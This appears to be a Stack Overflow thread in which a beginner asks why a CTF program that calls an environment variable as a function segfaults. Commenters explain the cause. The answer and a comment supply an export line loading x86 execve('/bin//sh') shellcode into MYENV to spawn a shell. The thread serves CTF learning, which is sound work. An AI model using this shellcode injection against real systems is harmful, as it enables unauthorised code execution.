1

Hey so I was trying to solve a problem for beginners ctf event.

And this is the code that I am trying to run.

#include <stdio.h>
#include <stdlib.h>

int main(){
            int (*func)();
            func = getenv("MYENV");
            func();
            return 0;
}

I created a MYENV environment like this :

export MYENV=ls

but on running the code, it throws a segmentation fault (core dumped). I don't understand why.

The func function is basically calling the environment variable whose value is a simple command that I set. Why is it throwing an error.

I'm very new at linux and shell, so I'm sorry if this is too naive.

aroma
  • 1,370
  • 1
  • 15
  • 30
  • 1
    I think you need to do some reading and understand how C code is translated into assembly code, and then assembled to binary machine code. Then you'll understand why telling the CPU to execute the bytes `ls` will never work. – Jonathon Reinhart Jun 07 '20 at 17:54
  • @JonathonReinhart can you point me to some resource please? Thanks in advance. – aroma Jun 07 '20 at 18:00
  • 1
    @aroma : `getenv` returns a pointer to the string which holds the environment variable, in your case a sequence of bytes `'l','s',0`. You store this pointer in the variable `func`. Then you do a `func()`, which basically tells C to use the address as a set of machine instructions to be executed. The address fortunately does point to meaningful machine code and hence you get a SIGSEGV. – user1934428 Jun 08 '20 at 07:02
  • hey @user1934428 I kind of understand what you're saying but what does `The address fortunately does point to meaningful machine code` mean. did you mean `does not` – aroma Jun 08 '20 at 12:29
  • @aroma : Thank you, my fingers were quicker than my brain. Of course I meant "does not". – user1934428 Jun 08 '20 at 13:12

1 Answers1

3

In C, if you want to run a system command, you have to use the system function (or one of the exec functions but that's more complicated):

#include <stdio.h>
#include <stdlib.h>

int main() {
    char* cmd = getenv("MYENV");
    system(cmd);
    return 0;
}

If you're looking to run arbitrary code, you can inject shell code into it:

export MYENV=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

You can learn more here.

Aplet123
  • 33,825
  • 1
  • 29
  • 55
  • actually this isn't my code. I can't make changes in the code. – aroma Jun 07 '20 at 16:58
  • 2
    Oh it's a pwn challenge. In this case, you want to load some shellcode into the environment variable to get a shell, like `export MYENV=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'`. Learn more [here](https://www.youtube.com/watch?v=Nn0fUJuQEsk). – Aplet123 Jun 07 '20 at 17:01
  • hey that's exactly what I was looking for can you edit that in the answer so I can accept? – aroma Jun 07 '20 at 17:46